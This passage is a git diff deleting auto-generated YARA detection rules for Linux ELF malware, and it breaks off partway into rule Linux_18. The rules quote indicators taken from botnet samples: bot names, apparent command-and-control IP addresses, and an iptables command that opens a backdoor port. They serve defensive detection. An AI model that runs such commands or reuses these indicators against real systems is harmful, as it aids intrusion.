diff --git a/Rules/Linux.yar b/Rules/Linux.yar
deleted file mode 100644
index 86480cc..0000000
--- a/Rules/Linux.yar
+++ /dev/null
@@ -1,8612 +0,0 @@
-/*
- YARA Rule Set
- Author: yarGen Rule Generator
- Date: 2024-03-27
- Identifier: Linux
- Reference: https://github.com/Neo23x0/yarGen
-*/
-
-/* Rule Set ----------------------------------------------------------------- */
-
-rule Linux_1 {
- meta:
- description = "Linux_1"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "06f2e6504b1953035aabfc8d9782800e77591599e6f36e543a042da1a7dc8dda"
- strings:
- $s1 = "N^NuPOST /cdn-cgi/" fullword ascii
- $s2 = "/BQxHoQxB" fullword ascii
- $s3 = "HoPpHoP" fullword ascii
- $s4 = "gTHo(hN" fullword ascii
- $s5 = ":Ho(ta" fullword ascii
- $s6 = "LHo(xa" fullword ascii
- $s7 = "$NuNuNV" fullword ascii
- $s8 = "&/|JR**" fullword ascii
- $s9 = "$Ho(ha" fullword ascii
- $s10 = "RN^NuNV" fullword ascii
- $s11 = " Ho(ha" fullword ascii
- $s12 = "Hw) (xHx" fullword ascii
- $s13 = "tHo(|a" fullword ascii
- $s14 = "N^NuHx" fullword ascii
- $s15 = "L SHx@" fullword ascii
- $s16 = "b(p7 B" fullword ascii
- $s17 = "N^Nu\"/" fullword ascii
- $s18 = "f|f>\"y" fullword ascii
- $s19 = "( @N^NuNV" fullword ascii
- $s20 = "f|N^NuNV" fullword ascii
-
- $op0 = { 01 48 78 00 18 2f 02 2f 03 61 ff ff ff fb e6 4f }
- $op1 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op2 = { 4e 56 00 00 4a 39 80 01 66 7c 66 3e 22 79 80 01 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_2 {
- meta:
- description = "Linux_2"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1778537cf4a5c3bc75db6bd25e274ab0607245f6c0ef70fc7db7b38072377737"
- strings:
- $s1 = "N^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s2 = "$NuNuNV" fullword ascii
- $s3 = "b(p7 B" fullword ascii
- $s4 = "N^Nu o" fullword ascii
- $s5 = "N^Nu 9" fullword ascii
- $s6 = "al$BHx" fullword ascii
- $s7 = "9z(H/<" fullword ascii
- $s8 = "N^NuNuO" fullword ascii
-
- $op0 = { 06 48 78 00 01 4e 94 24 48 11 7c 00 05 00 04 20 }
- $op1 = { 01 48 78 00 0d 2f 03 2f 02 4e 92 1f 40 00 59 42 }
- $op2 = { 36 7c 00 01 16 02 49 c3 2c 00 4c 47 60 01 24 41 }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( all of them and all of ($op*) )
-}
-
-rule Linux_3 {
- meta:
- description = "Linux_3"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "c7e1993166dc1f2650a37a3611d40c4f6ab8372a71135b497709c93341d9bcb6"
- strings:
- $s1 = "$NuNuNV" fullword ascii
- $s2 = "b(p7 B" fullword ascii
- $s3 = "3fnHx@" fullword ascii
- $s4 = "*L,KHx" fullword ascii
- $s5 = "4N^NuNV" fullword ascii
- $s6 = "J~&HHx" fullword ascii
- $s7 = "u2N^NuNV" fullword ascii
- $s8 = " N^NuNV" fullword ascii
- $s9 = "VP$BHx" fullword ascii
- $s10 = "Jp(H/<" fullword ascii
- $s11 = "`:,HHx" fullword ascii
- $s12 = "fJ,HHx" fullword ascii
- $s13 = "]^(H/<" fullword ascii
- $s14 = ":/proc/" fullword ascii
- $s15 = "]l&HHx" fullword ascii
-
- $op0 = { 4e 56 00 00 4a 39 80 00 ea 34 66 3e 22 79 80 00 }
- $op1 = { 01 48 78 00 04 2f 08 48 78 00 03 42 a7 2f 00 61 }
- $op2 = { ff e2 a8 d8 80 25 44 00 10 70 ff b0 af 00 38 66 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_4 {
- meta:
- description = "Linux_4"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "e19c1f199c04c5d4d0c517efd9e0df5e51bd898edad6062485b7a8b0b240fdbb"
- strings:
- $s1 = "N^NuPOST /cdn-cgi/" fullword ascii
- $s2 = "FTPjGNRGP\"" fullword ascii
- $s3 = "FICMUHDKPJKCF" fullword ascii
- $s4 = "LCOGQGPTGP" fullword ascii
- $s5 = "ANMWFDNCPG" fullword ascii
- $s6 = "PGDPGQJ" fullword ascii
- $s7 = "VPCLQDGP" fullword ascii
- $s8 = "CRRNKACVKML" fullword ascii
- $s9 = "AMLLGAVKML" fullword ascii
- $s10 = "NMACVKML" fullword ascii
- $s11 = "AMLVGLV" fullword ascii
- $s12 = "GLAMFKLE" fullword ascii
- $s13 = "LGVQNKLI" fullword ascii
- $s14 = "FGNGVGF" fullword ascii
- $s15 = "185.196.8.32" fullword ascii
- $s16 = "/BQxHoQxB" fullword ascii
- $s17 = "HoPpHoP" fullword ascii
- $s18 = "gTHo(hN" fullword ascii
- $s19 = "/lib/ld-uClibc.so.0" fullword ascii
- $s20 = "libc.so.0" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { ff 6e 00 1e 34 2f 06 61 ff 00 00 ad 34 58 8f 72 }
- $op2 = { 10 48 6f 51 6c 2f 12 61 ff ff ff f5 4a 24 12 20 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_5 {
- meta:
- description = "Linux_5"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "219658667afd35e2fe3f3f7876dbcf70fa9d7bfa3a13df745edc665ee70928f7"
- strings:
- $s1 = "DN^NuGET / HTTP/1.1" fullword ascii
- $s2 = "B\\f>\"y" fullword ascii
- $s3 = "pSN@-@" fullword ascii
- $s4 = "3fnHx@" fullword ascii
- $s5 = "/fd/B(" fullword ascii
- $s6 = "d,N^NuNV" fullword ascii
- $s7 = "B\\N^NuNV" fullword ascii
- $s8 = "p&N@-@" fullword ascii
- $s9 = "g|`2B." fullword ascii
- $s10 = "wf(H/<" fullword ascii
- $s11 = "wt&HHx" fullword ascii
- $s12 = "8N^NuNV" fullword ascii
- $s13 = "(N^NuNV" fullword ascii
- $s14 = "0N^NuNuNV" fullword ascii
- $s15 = "fb`$B." fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f0 66 }
- $op1 = { 80 60 00 fc 34 48 6e ff ba 61 ff 00 00 08 76 24 }
- $op2 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_6 {
- meta:
- description = "Linux_6"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "28519cff83b170a84923d8d02f5f5c13e0531431d38e028bb1c53e549f968307"
- strings:
- $s1 = " __get_myaddress: socket" fullword ascii
- $s2 = "DN^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s3 = "g6 7- " fullword ascii
- $s4 = "fFth D " fullword ascii
- $s5 = "0NuNu\"_ <" fullword ascii
- $s6 = "dNqNuNV" fullword ascii
- $s7 = "\\N^NuNV" fullword ascii
- $s8 = "b(p7 B" fullword ascii
- $s9 = "hN^NuNV" fullword ascii
- $s10 = "`N^NuNV" fullword ascii
- $s11 = "N^Nu o" fullword ascii
- $s12 = "N^Nu 9" fullword ascii
- $s13 = "p*N@-@" fullword ascii
- $s14 = "pjN@-@" fullword ascii
- $s15 = "|N^NuNV" fullword ascii
- $s16 = "?8,/0,Hy" fullword ascii
- $s17 = "b\\N^NuNV" fullword ascii
- $s18 = "g:`R ." fullword ascii
- $s19 = "TN^NuNV" fullword ascii
- $s20 = "gj`p n" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_7 {
- meta:
- description = "Linux_7"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1a9fd5bf5738493cf08b81dd7c81a51b510615e1f4491360fce114eeeb377303"
- strings:
- $s1 = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s2 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" fullword ascii
- $s3 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" fullword ascii
- $s5 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" fullword ascii
- $s6 = "zkjtjaz" fullword ascii
- $s7 = "J/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xI" ascii
- $s8 = "3/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9" ascii
- $s9 = "A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xF" ascii
- $s10 = "D/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x3" ascii
- $s11 = "8/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x9" ascii
- $s12 = ".+|GET" fullword ascii
- $s13 = "]214.194.12.158" fullword ascii
- $s14 = "zltkaz" fullword ascii
- $s15 = "99?*.`z.?\".u2.76v;**639;.354u\"2.76q\"76v;**639;.354u\"76a+gjtcv37;=?u-?8*vpupa+gjtbZ" fullword ascii
- $s16 = ";<;(3uljktmtmZ" fullword ascii
- $s17 = "2(57?uohtjthmnitkklz" fullword ascii
- $s18 = "3.uljktmtmzr" fullword ascii
- $s19 = "2(57?uoktjthmjntkjiz" fullword ascii
- $s20 = "?()354uctkthz" fullword ascii
-
- $op0 = { ff 6e 00 1a 8c 2f 06 61 ff 00 00 34 30 58 8f 72 }
- $op1 = { ff ff bc 62 00 00 ca 70 34 d0 ae ff b8 b0 ae ff }
- $op2 = { ff ff bc 63 00 01 6e 72 34 d2 ae ff b8 20 2e ff }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_8 {
- meta:
- description = "Linux_8"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "1cbfdb421a8aba3f65f0f0767bc2e9e92c34703bc1f4d4174dedd5b60f00d66f"
- strings:
- $s1 = "FICMUHDKPJKCF" fullword ascii
- $s2 = "UCVAJFME" fullword ascii
- $s3 = "FGDCWNV" fullword ascii
- $s4 = "LCOGQGPTGP" fullword ascii
- $s5 = "185.196.10.155" fullword ascii
- $s6 = "LAMPPGAV\"" fullword ascii
- $s7 = "vqMWPAG" fullword ascii
- $s8 = "DMWLF\"" fullword ascii
- $s9 = "NKLWZQJGNN\"" fullword ascii
- $s10 = "sWGP[\"" fullword ascii
- $s11 = "GLVGP\"" fullword ascii
- $s12 = "UCVAJFME\"" fullword ascii
- $s13 = "AOFNKLG\"" fullword ascii
- $s14 = "CQQUMPF\"" fullword ascii
- $s15 = "JCICK\"" fullword ascii
- $s16 = "NMACN\"" fullword ascii
- $s17 = "QVCPV\"" fullword ascii
- $s18 = "}UCVAJFME\"" fullword ascii
- $s19 = "GFHICK\"" fullword ascii
- $s20 = "QVCVWQ\"" fullword ascii
-
- $op0 = { 40 48 78 00 04 2f 02 2f 03 4e 92 1f 40 00 4e 48 }
- $op1 = { 01 48 78 00 05 2f 03 2f 02 4e 92 1f 40 00 4b 2f }
- $op2 = { 01 48 78 00 0d 2f 03 2f 02 4e 92 1f 40 00 59 42 }
- condition:
- uint16(0) == 0x457f and filesize < 200KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_9 {
- meta:
- description = "Linux_9"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "5f6fb37ce34ca77a1682f03ff8543a7ae0bbbc9028cce834938daaa0ccd7eba7"
- strings:
- $s1 = "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s2 = "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s3 = "[modules/system.c] Process (pid=%d path=%s) is malicious" fullword ascii
- $s4 = "bindtoip" fullword ascii
- $s5 = "0bad auth_len gid %d str %d auth %d" fullword ascii
- $s6 = "/proc/%s/fd/" fullword ascii
- $s7 = "Failed to register signal handler for SIGINT" fullword ascii
- $s8 = "/usr/local/sbin/" fullword ascii
- $s9 = "/usr/local/bin/" fullword ascii
- $s10 = "87.246.7.194" fullword ascii
- $s11 = "g6 7- " fullword ascii
- $s12 = "0NuNu\"_ <" fullword ascii
- $s13 = "dNqNuNV" fullword ascii
- $s14 = "RebirthLTD" fullword ascii
- $s15 = "XONuYOH" fullword ascii
- $s16 = "NuNq\"o" fullword ascii
- $s17 = "\\N^NuNV" fullword ascii
- $s18 = "hN^NuNV" fullword ascii
- $s19 = "B@HAH@" fullword ascii
- $s20 = "`N^NuNV" fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_10 {
- meta:
- description = "Linux_10"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "7662d17abbed34e67c8e2f70258bb1242b53484442ed9b43acb87e638639181d"
- strings:
- $s1 = "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s2 = "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s3 = "#h__get_myaddress: socket" fullword ascii
- $s4 = "bindtoip" fullword ascii
- $s5 = "g6 7- " fullword ascii
- $s6 = "0NuNu\"_ <" fullword ascii
- $s7 = "dNqNuNV" fullword ascii
- $s8 = "RebirthLTD" fullword ascii
- $s9 = "XONuYOH" fullword ascii
- $s10 = "NuNq\"o" fullword ascii
- $s11 = "\\N^NuNV" fullword ascii
- $s12 = "hN^NuNV" fullword ascii
- $s13 = "B@HAH@" fullword ascii
- $s14 = "`N^NuNV" fullword ascii
- $s15 = "N^Nu o" fullword ascii
- $s16 = "pSN@-@" fullword ascii
- $s17 = "p&N@-@" fullword ascii
- $s18 = "g|`2B." fullword ascii
- $s19 = "8N^NuNV" fullword ascii
- $s20 = "(N^NuNV" fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_11 {
- meta:
- description = "Linux_11"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "a308729f523a3f45d489042da4f2dbdc979f70150bc23b752ad1168ce794c6af"
- strings:
- $s1 = "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s2 = "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT" fullword ascii
- $s3 = "[modules/system.c] Process (pid=%d path=%s) is malicious" fullword ascii
- $s4 = "bindtoip" fullword ascii
- $s5 = " bad auth_len gid %d str %d auth %d" fullword ascii
- $s6 = "/proc/%s/fd/" fullword ascii
- $s7 = "Failed to register signal handler for SIGINT" fullword ascii
- $s8 = "/usr/local/sbin/" fullword ascii
- $s9 = "/usr/local/bin/" fullword ascii
- $s10 = "87.246.7.194" fullword ascii
- $s11 = "g6 7- " fullword ascii
- $s12 = "0NuNu\"_ <" fullword ascii
- $s13 = "dNqNuNV" fullword ascii
- $s14 = "RebirthLTD" fullword ascii
- $s15 = "XONuYOH" fullword ascii
- $s16 = "NuNq\"o" fullword ascii
- $s17 = "XONuNuNV" fullword ascii
- $s18 = "\\N^NuNV" fullword ascii
- $s19 = "hN^NuNV" fullword ascii
- $s20 = "B@HAH@" fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_12 {
- meta:
- description = "Linux_12"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "bb3a86c39c0dd7cac51dc7dfe6a6006cbee0a33e1e5632b1777837a59b2f0512"
- strings:
- $s1 = "(Killer) >> KILLING PID: (%s)" fullword ascii
- $s2 = "g6 7- " fullword ascii
- $s3 = "b(p7 B" fullword ascii
- $s4 = "(N^NuNV" fullword ascii
- $s5 = "NuNqNV" fullword ascii
- $s6 = "$_&_NuO" fullword ascii
- $s7 = "WD&HHx" fullword ascii
- $s8 = "$_&_NuNV" fullword ascii
- $s9 = "4N^NuNV" fullword ascii
- $s10 = "VN^NuNV" fullword ascii
- $s11 = "N^Nu/proc/" fullword ascii
- $s12 = "Tl&HHx" fullword ascii
- $s13 = "W6(H/<" fullword ascii
- $s14 = "T^(H/<" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { 4e 56 00 00 4a 39 80 00 de 34 66 3e 22 79 80 00 }
- $op2 = { 06 4e 93 24 08 48 78 00 06 48 79 80 00 af 34 2f }
- condition:
- uint16(0) == 0x457f and filesize < 100KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_13 {
- meta:
- description = "Linux_13"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "24f457794242e6c0cf54ad90feb0e3e5c997556d12d3a06ca5ab44dc60258e31"
- strings:
- $s1 = "N^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s2 = "g6 7- " fullword ascii
- $s3 = "0NuNu\"_ <" fullword ascii
- $s4 = "dNqNuNV" fullword ascii
- $s5 = "lvrvup9w0zwi6nuqf0kilumln8ox5vgv" fullword ascii
- $s6 = "\\N^NuNV" fullword ascii
- $s7 = "b(p7 B" fullword ascii
- $s8 = "hN^NuNV" fullword ascii
- $s9 = "`N^NuNV" fullword ascii
- $s10 = "N^Nu o" fullword ascii
- $s11 = "N^Nu 9" fullword ascii
- $s12 = "g|`2B." fullword ascii
- $s13 = "8N^NuNV" fullword ascii
- $s14 = "(N^NuNV" fullword ascii
- $s15 = "0N^NuNuNV" fullword ascii
- $s16 = "fb`$B." fullword ascii
- $s17 = "p*N@-@" fullword ascii
- $s18 = "pjN@-@" fullword ascii
- $s19 = "|N^NuNV" fullword ascii
- $s20 = "g:`R ." fullword ascii
-
- $op0 = { ff d6 42 ae ff da 60 10 2d 7c 7f ff ff ff ff d6 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 500KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_14 {
- meta:
- description = "Linux_14"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "475487bf7b96fe3da321dac0b5f59231651fc3d71f86bf9580bfa77e59b0f2c8"
- strings:
- $s1 = "r bad auth_len gid %d str %d auth %d" fullword ascii
- $s2 = "condi2 %s:%d" fullword ascii
- $s3 = "N^NuSNQUERY: 127.0.0.1:AAAAAA:xsvr" fullword ascii
- $s4 = "netstat" fullword ascii
- $s5 = "bot.ppc" fullword ascii
- $s6 = "bot.arm" fullword ascii
- $s7 = "g6 7- " fullword ascii
- $s8 = "0NuNu\"_ <" fullword ascii
- $s9 = "dNqNuNV" fullword ascii
- $s10 = "bot.arm5" fullword ascii
- $s11 = "bot.mips" fullword ascii
- $s12 = "@KZYA\\EL@" fullword ascii
- $s13 = "bot.arm7" fullword ascii
- $s14 = "bot.arm6" fullword ascii
- $s15 = "bot.mpsl" fullword ascii
- $s16 = "\\N^NuNV" fullword ascii
- $s17 = "b(p7 B" fullword ascii
- $s18 = "hN^NuNV" fullword ascii
- $s19 = "`N^NuNV" fullword ascii
- $s20 = ",N^NuNV" fullword ascii
-
- $op0 = { ff e2 a8 d8 80 25 44 00 10 0c 6e ff ff ff f4 66 }
- $op1 = { 42 a7 2f 00 61 ff ff ff f6 76 4f ef 00 0c 42 b9 }
- $op2 = { 42 a7 2f 00 61 ff ff ff ed 6a 4f ef 00 0c 20 39 }
- condition:
- uint16(0) == 0x457f and filesize < 400KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_15 {
- meta:
- description = "Linux_15"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "0f4889491376010d2b777602c988009fc31298e0d5b85b554bdc1c113d6c3171"
- strings:
- $s1 = "__pthread_mutex_unlock_usercnt" fullword ascii
- $s2 = "pthread_mutex_trylock.c" fullword ascii
- $s3 = "pthread_mutex_unlock.c" fullword ascii
- $s4 = "pthread_mutex_lock.c" fullword ascii
- $s5 = "__pthread_mutex_lock_full" fullword ascii
- $s6 = "__pthread_mutex_unlock_full" fullword ascii
- $s7 = "__pthread_mutex_lock_internal" fullword ascii
- $s8 = "pthread_mutex_init.c" fullword ascii
- $s9 = "__pthread_mutex_unlock_internal" fullword ascii
- $s10 = "update_process" fullword ascii
- $s11 = "attack_tcp_bypass" fullword ascii
- $s12 = "hexPayload" fullword ascii
- $s13 = "__make_stacks_executable" fullword ascii
- $s14 = "read_encoded_value_with_base" fullword ascii
- $s15 = "read_encoded_value" fullword ascii
- $s16 = "pthread_getspecific.c" fullword ascii
- $s17 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/unwind-c.c" fullword ascii
- $s18 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc" fullword ascii
- $s19 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s20 = "_thread_db___pthread_keys" fullword ascii
-
- $op0 = { ef 34 00 00 ea 20 c0 9d e5 18 30 9c e5 00 00 53 }
- $op1 = { ef 00 30 a0 e3 56 f4 ff eb 03 20 a0 e1 18 34 00 }
- $op2 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_16 {
- meta:
- description = "Linux_16"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "595a436719c2ac7c441a77af3173629eb7ddfb0e304a27e09dbd19c1a6b4e741"
- strings:
- $s1 = "__pthread_mutex_unlock_usercnt" fullword ascii
- $s2 = "pthread_mutex_trylock.c" fullword ascii
- $s3 = "pthread_mutex_unlock.c" fullword ascii
- $s4 = "pthread_mutex_lock.c" fullword ascii
- $s5 = "__pthread_mutex_lock_full" fullword ascii
- $s6 = "__pthread_mutex_unlock_full" fullword ascii
- $s7 = "__pthread_mutex_lock_internal" fullword ascii
- $s8 = "pthread_mutex_init.c" fullword ascii
- $s9 = "__pthread_mutex_unlock_internal" fullword ascii
- $s10 = "update_process" fullword ascii
- $s11 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm" fullword ascii
- $s12 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/pr-support.c" fullword ascii
- $s13 = "__make_stacks_executable" fullword ascii
- $s14 = "read_encoded_value_with_base" fullword ascii
- $s15 = "read_encoded_value" fullword ascii
- $s16 = "pthread_getspecific.c" fullword ascii
- $s17 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/libunwind.S" fullword ascii
- $s18 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/build-gcc/gcc" fullword ascii
- $s19 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm" fullword ascii
- $s20 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/unwind-arm.c" fullword ascii
-
- $op0 = { ef 34 00 00 ea 20 c0 9d e5 18 30 9c e5 00 00 53 }
- $op1 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op2 = { ef 00 30 a0 e3 3f f4 ff eb 03 20 a0 e1 18 34 00 }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_17 {
- meta:
- description = "Linux_17"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "d50015a8716a82a9def5c2e4ff5ac8e8ca3fb7729c2656aec5b52deb87b1d94e"
- strings:
- $s1 = "__pthread_mutex_unlock_usercnt" fullword ascii
- $s2 = "pthread_mutex_trylock.c" fullword ascii
- $s3 = "pthread_mutex_unlock.c" fullword ascii
- $s4 = "pthread_mutex_lock.c" fullword ascii
- $s5 = "__pthread_mutex_lock_full" fullword ascii
- $s6 = "__pthread_mutex_unlock_full" fullword ascii
- $s7 = "__pthread_mutex_lock_internal" fullword ascii
- $s8 = "pthread_mutex_init.c" fullword ascii
- $s9 = "__pthread_mutex_unlock_internal" fullword ascii
- $s10 = "update_process" fullword ascii
- $s11 = "__make_stacks_executable" fullword ascii
- $s12 = "read_encoded_value_with_base" fullword ascii
- $s13 = "read_encoded_value" fullword ascii
- $s14 = "pthread_getspecific.c" fullword ascii
- $s15 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/unwind-c.c" fullword ascii
- $s16 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc" fullword ascii
- $s17 = "/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/ieee754-df.S" fullword ascii
- $s18 = "_thread_db___pthread_keys" fullword ascii
- $s19 = "_thread_db_pthread_key_data_seq" fullword ascii
- $s20 = "_thread_db_pthread_key_struct_destr" fullword ascii
-
- $op0 = { ef 34 00 00 ea 20 c0 9d e5 18 30 9c e5 00 00 53 }
- $op1 = { 80 ff ff ff ff 00 00 b0 0d 03 00 ff 7f }
- $op2 = { ef 00 30 a0 e3 3f f4 ff eb 03 20 a0 e1 18 34 00 }
- condition:
- uint16(0) == 0x457f and filesize < 600KB and
- ( 8 of them and all of ($op*) )
-}
-
-rule Linux_18 {
- meta:
- description = "Linux_18"
- author = "PYAS Security (Using yarGen Rule Generator)"
- reference = "https://github.com/Neo23x0/yarGen"
- date = "2024-03-27"
- hash1 = "a032864f9d2a4554884f5f84b3ef1ff5bf44b71c290be32d7c2fcf844d74c0b9"
- strings:
